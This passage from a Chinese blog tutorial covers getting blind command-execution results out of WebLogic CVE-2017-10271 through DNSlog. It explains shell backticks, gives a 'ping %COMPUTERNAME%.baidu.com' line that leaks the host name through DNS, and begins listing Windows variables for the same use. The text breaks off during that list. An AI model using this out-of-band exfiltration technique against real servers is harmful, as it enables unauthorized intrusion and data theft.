利用DNSlog回显Weblogic(CVE-2017-10271) 漏洞执行命令结果

最新推荐文章于 2024-06-28 11:53:51 发布

张悠悠66

最新推荐文章于 2024-06-28 11:53:51 发布

阅读量630

点赞数

本文链接：https://blog.csdn.net/xiaoi123/article/details/78924878

版权

本文介绍了如何利用Weblogic的CVE-2017-10271漏洞执行命令，并通过DNSlog回显结果。文章讲解了Linux中反引号的用途，以及Windows下的变量大全。同时，讨论了在命令有空格时如何处理，提出了将输出内容Base64编码并替换空格的方法，并分享了实际操作中的POC。

摘要由CSDN通过智能技术生成

作者：Armyzer0

Weblogic(CVE-2017-10271) 漏洞出来以后又是一波血雨腥风，正好我昨天测试的时候发现了一个存在这个漏洞的weblogic，但是他不回显咋办呢！让他返回执行结果集到dnslong首先大家先了解下 “ 这个符号在Linux的作用！

符号：` `
名称：反引号，上分隔符
位置：反引号（`）这个字符一般在键盘的左上角，数字1的左边，不要将其同单引号（’）混淆
作用：反引号括起来的字符串被shell解释为命令行，在执行时，shell首先执行该命令行，并以它的标准输出结果取代整个反引号（包括两个反引号）部分

` ` 里面的内容是当做命令来执行

还有一些其他符号也可以产生同样的效果我就不一一介绍了

然后我们在来说下Windows 下的

ping %COMPUTERNAME%.baidu.com  [/size][/align]
[align=left][size=3]%COMPUTERNAME% 是一个变量，得到计算机名[/size][/align]
[align=left][size=3]%ALLUSERSPROFILE% ： 列出所有用户Profile文件位置。 
%APPDATA% :  列出应用程序数据的默认存放位置。 
%CD% :  列出当前目录。 
%CLIENTNAME% :  列出联接到终端服务会话时客户端的NETBIOS名。 
%CMDCMDLINE% :  列出启动当前cmd.exe所使用的命令行。 
%CMDEXTVERSION% :  命令出当前命令处理程序扩展版本号。 
%CommonProgramFiles% :  列出了常用文件的文件夹路径。 
%COMPUTERNAME% :  列出了计算机名。  
%COMSPEC% :  列出了可执行命令外壳（命令处理程序）的路径。 
%DATE% :  列出当前日期。 
%ERRORLEVEL% :  列出了最近使用的命令的错误代码。 
%H